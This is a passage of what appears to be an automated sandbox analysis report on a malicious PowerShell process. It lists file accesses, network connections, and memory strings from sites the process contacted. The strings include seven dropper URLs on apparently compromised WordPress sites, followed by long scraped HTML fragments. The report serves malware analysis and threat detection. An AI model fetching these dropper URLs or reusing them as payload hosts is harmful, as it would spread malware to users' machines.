Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\WindowsJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.iniJump to behavior
Source: global trafficDNS query: name: wheelcomoving.com
Source: global trafficTCP traffic: 192.168.2.22:49168 -> 58.97.195.135:443
Source: global trafficTCP traffic: 192.168.2.22:49165 -> 66.85.46.76:80

Networking:

barindex
Potential dropper URLs found in powershell memoryShow sources
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: http://wheelcomoving.com/p/RuMeRPa/
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: http://00zyku.com/wp-admin/eYu1Q/
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: http://ketoresetme.com/wp-content/pmJ/
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: https://rycomputer.com/content/TL/
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: https://d-cem.com/wp-admin/JSLwG1/
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: http://thebestfikrah.com/wp-admin/fOIlVX/
Source: powershell.exe, 00000005.00000002.2222999381.0000000003882000.00000004.00000001.sdmpString found in memory: https://phawayagency.com/wp-admin/mXo4b/
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/06/keto-reset-instant-pot-cookbook-trailer/" rel="bookmark" title="Keto Reset Instant Pot Cookbook Trailer"><img width="100" height="70" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Reset-Instant-Pot-Cookbook-Trailer-100x70.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Reset-Instant-Pot-Cookbook-Trailer-100x70.jpg 100w, https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Reset-Instant-Pot-Cookbook-Trailer-218x150.jpg 218w" sizes="(max-width: 100px) 100vw, 100px" alt="" title="Keto Reset Instant Pot Cookbook Trailer"/><span class="td-video-play-ico td-video-small"><img width="20" height="20" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/video-small.png" alt="video"/></ QUICK AND EASY LOW CARB">The Ketonian Cookbook &#8211; QUICK AND EASY LOW C
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/07/what-to-avoid-on-a-ketogenic-diet-what-is-ketogenic-diet/" rel="bookmark" title="WHAT TO AVOID ON A KETOGENIC DIET | What is Ketogenic Diet?"><img width="324" height="160" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/WHAT-TO-AVOID-ON-A-KETOGENIC-DIET-What-is-Ketogenic-Diet-324x160.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/WHAT-TO-AVOID-ON-A-KETOGENIC-DIET-What-is-Ketogenic-Diet-324x160.jpg 324w, https://ketoresetme.com/wp-content/uploads/2021/01/WHAT-TO-AVOID-ON-A-KETOGENIC-DIET-What-is-Ketogenic-Diet-533x261.jpg 533w" sizes="(max-width: 324px) 100vw, 324px" alt="" title="WHAT TO AVOID ON A KETOGENIC DIET | What is Ketogenic Diet?"/><span class="td-video-play-ico"><img width="40" height="40" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/ico-video-large.png" alt="video"/></span></a></div> </div>
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/07/pepito-manaloto-keto-diet-sagot-sa-katabaan-ni-mara/" rel="bookmark" title="Pepito Manaloto: Keto diet, sagot sa katabaan ni Mara?"><img width="324" height="160" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/Pepito-Manaloto-Keto-diet-sagot-sa-katabaan-ni-Mara-324x160.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/Pepito-Manaloto-Keto-diet-sagot-sa-katabaan-ni-Mara-324x160.jpg 324w, https://ketoresetme.com/wp-content/uploads/2021/01/Pepito-Manaloto-Keto-diet-sagot-sa-katabaan-ni-Mara-533x261.jpg 533w" sizes="(max-width: 324px) 100vw, 324px" alt="" title="Pepito Manaloto: Keto diet, sagot sa katabaan ni Mara?"/><span class="td-video-play-ico"><img width="40" height="40" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/ico-video-large.png" alt="video"/></span></a></div> </div>
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/07/what-i-eat-to-lose-weight-2020-easy-keto-recipes-keto-full-day-eating-daniela-diaries/" rel="bookmark" title="WHAT I EAT TO LOSE WEIGHT 2020 / EASY KETO RECIPES / KETO FULL DAY EATING / DANIELA DIARIES"><img width="324" height="160" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/WHAT-I-EAT-TO-LOSE-WEIGHT-2020-EASY-KETO-RECIPES-KETO-FULL-DAY-EATING-DANIELA-DIARIES-324x160.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/WHAT-I-EAT-TO-LOSE-WEIGHT-2020-EASY-KETO-RECIPES-KETO-FULL-DAY-EATING-DANIELA-DIARIES-324x160.jpg 324w, https://ketoresetme.com/wp-content/uploads/2021/01/WHAT-I-EAT-TO-LOSE-WEIGHT-2020-EASY-KETO-RECIPES-KETO-FULL-DAY-EATING-DANIELA-DIARIES-533x261.jpg 533w" sizes="(max-width: 324px) 100vw, 324px" alt="" title="WHAT I EAT TO LOSE WEIGHT 2020 / EASY KETO RECIPES / KETO FULL DAY EATING / DANIELA DIARIES"/><span class="td-video-play-ico"><img width="40" height="40" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/ico-video-large.png" alt="video"/></span></a></div> </div>
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/07/beyond-keto-virtual-summit-the-mid-life-re-life-blueprint-programme-free-all-access-pass/" rel="bookmark" title="Beyond Keto Virtual Summit &#8211; The Mid-Life Re-Life Blueprint Programme &#8211; Free All Access Pass"><img width="324" height="160" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/Beyond-Keto-Virtual-Summit-The-Mid-Life-Re-Life-Blueprint-Programme-Free-All-Access-Pass-324x160.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/Beyond-Keto-Virtual-Summit-The-Mid-Life-Re-Life-Blueprint-Programme-Free-All-Access-Pass-324x160.jpg 324w, https://ketoresetme.com/wp-content/uploads/2021/01/Beyond-Keto-Virtual-Summit-The-Mid-Life-Re-Life-Blueprint-Programme-Free-All-Access-Pass-533x261.jpg 533w" sizes="(max-width: 324px) 100vw, 324px" alt="" title="Beyond Keto Virtual Summit &#8211; The Mid-Life Re-Life Blueprint Programme &#8211; Free All Access Pass"/><span class="td-video-play-ico"><img width="40" height="40" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/ico-video-large.png" alt="video"/></span></a></div> </div>
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/07/keto-full-day-of-eating-keto-bakes-biscuits-keto-chow/" rel="bookmark" title="Keto Full Day of Eating | Keto Bakes Biscuits | Keto Chow"><img width="324" height="160" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Full-Day-of-Eating-Keto-Bakes-Biscuits-Keto-Chow-324x160.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Full-Day-of-Eating-Keto-Bakes-Biscuits-Keto-Chow-324x160.jpg 324w, https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Full-Day-of-Eating-Keto-Bakes-Biscuits-Keto-Chow-533x261.jpg 533w" sizes="(max-width: 324px) 100vw, 324px" alt="" title="Keto Full Day of Eating | Keto Bakes Biscuits | Keto Chow"/><span class="td-video-play-ico"><img width="40" height="40" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/ico-video-large.png" alt="video"/></span></a></div> </div>
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/07/the-ketonian-cookbook-quick-and-easy-low-carb/" rel="bookmark" title="The Ketonian Cookbook &#8211; QUICK AND EASY LOW CARB"><img width="100" height="70" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/The-Ketonian-Cookbook-QUICK-AND-EASY-LOW-CARB-100x70.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/The-Ketonian-Cookbook-QUICK-AND-EASY-LOW-CARB-100x70.jpg 100w, https://ketoresetme.com/wp-content/uploads/2021/01/The-Ketonian-Cookbook-QUICK-AND-EASY-LOW-CARB-218x150.jpg 218w" sizes="(max-width: 100px) 100vw, 100px" alt="" title="The Ketonian Cookbook &#8211; QUICK AND EASY LOW CARB"/><span class="td-video-play-ico td-video-small"><img width="20" height="20" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/video-small.png" alt="video"/></span></a></div>
Source: powershell.exe, 00000005.00000002.2223475841.0000000003BAE000.00000004.00000001.sdmpString found in memory: <div class="td-module-thumb"><a href="https://ketoresetme.com/2021/01/06/keto-reset-instant-pot-cookbook-trailer/" rel="bookmark" title="Keto Reset Instant Pot Cookbook Trailer"><img width="100" height="70" class="entry-thumb" src="https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Reset-Instant-Pot-Cookbook-Trailer-100x70.jpg" srcset="https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Reset-Instant-Pot-Cookbook-Trailer-100x70.jpg 100w, https://ketoresetme.com/wp-content/uploads/2021/01/Keto-Reset-Instant-Pot-Cookbook-Trailer-218x150.jpg 218w" sizes="(max-width: 100px) 100vw, 100px" alt="" title="Keto Reset Instant Pot Cookbook Trailer"/><span class="td-video-play-ico td-video-small"><img width="20" height="20" class="td-retina" src="http://ketoresetme.com/wp-content/themes/Newspaper/images/icons/video-small.png" alt="video"/></
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: <script type="application/ld+json" class="yoast-schema-graph">{"
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: context":"https://schema.org","
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: graph":[{"
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: type":"WebSite","
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: id":"https://stage.thebestfikrah.com/#website","url":"https://stage.thebestfikrah.com/","name":"The Best Fikrah","description":"Think Right. Lead Well.","potentialAction":[{"
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: type":"SearchAction","target":"https://stage.thebestfikrah.com/?s={search_term_string}","query-input":"required name=search_term_string"}],"inLanguage":"en-US"}]}</script>
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: type":"SearchAction","target":"https://stage.thebestfikrah.com/?s={search_term_string}","query-input":"required name=search_term_st
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: <img width="6413" height="914" alt="" loading="lazy" data-srcset="https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2.png 6413w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-300x43.png 300w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-1024x146.png 1024w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-770x110.png 770w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-1536x219.png 1536w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-2048x292.png 2048w" data-src="https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2.png" data-sizes="(max-width: 6413px) 100vw, 6413px" class="attachment-full size-full lazyload" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" /><noscript><img width="6413" height="914" src="https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2.png" class="attachment-full size-full" alt="" loading="lazy" srcset="https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2.png 6413w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-300x43.png 300w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-1024x146.png 1024w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-770x110.png 770w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-1536x219.png 1536w, https://thebestfikrah.com/wp-content/uploads/2020/11/Untitled-2-2048x292.png 2048w" sizes="(max-width: 6413px) 100vw, 6413px" /></noscript></div>
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: <div class="elementor-text-editor elementor-clearfix"><p><a href="https://thebestfikrah.com/about-us/">About us</a><br /><a href="https://thebestfikrah.com/foreword-founder/">Founder says</a><br /><a href="https://thebestfikrah.com/our-team/">Our team</a><br /><a href="https://thebestfikrah.com/terms-and-conditions/">Terms and conditions</a><br /><a href="https://thebestfikrah.com/privacy-policy/">Privacy Policy</a></p></div>
Source: powershell.exe, 00000005.00000002.2223624396.0000000003C45000.00000004.00000001.sdmpString found in memory: <div class="elementor-text-editor elementor-clearfix"><p><a href="https://www.facebook.com/groups/thebestfikrah">Join us</a><br /><a href="https://thebestfikrah.com/contribute-your-writing/">Contribute</a><br /><a href="https://thebestfikrah.com/contact-us/">Contact us</a><br /><a href="https://thebestfikrah.com/sitemap_index.xml">Site Map</a></p></div>
Source: powershell.exe, 00000005.00000002.2223421947.0000000003B71000.00000004.00000001.sdmpString found in memory: <div class="btIco borderless extrasmall"><a href="https://www.facebook.com/boldthemes/" target="_blank" data-ico-fa="&#xf09a;" class="btIcoHolder"></a></div><div class="btIco borderless extrasmall"><a href="https://twitter.com/bold_themes" target="_blank" data-ico-fa="&#xf099;" class="btIcoHolder"></a></div><div class="btIco borderless extrasmall"><a href="https://plus.google.com/106260443376081681677" target="_blank" data-ico-fa="&#xf0d5;" class="btIcoHolder"></a></div><div class="btIco borderless extrasmall"><a href="https://www.pinterest.com/boldthemes/" target="_blank" data-ico-fa="&#xf231;" class="btIcoHolder"></a></div><div class="btTopBox widget_search"><div class="btSearch"><div class="btIco default extrasmall"><a href="#" data-ico-fa="&#xf002;" class="btIcoHolder"></a></div>
Source: powershell.exe, 00000005.00000002.2223421947.0000000003B71000.00000004.00000001.sdmpString found in memory: <li id="menu-item-1598" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-home menu-item-1598"><a title="" href="https://wheelcomoving.com/">Home</a></li><li id="menu-item-2113" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-2113"><a href="https://wheelcomoving.com/track-and-trace/">TRACK AND TRACE</a></li><li id="menu-item-1158" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1158"><a title="" href="https://wheelcomoving.com/company/">About us</a></li><li id="menu-item-1138" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1138"><a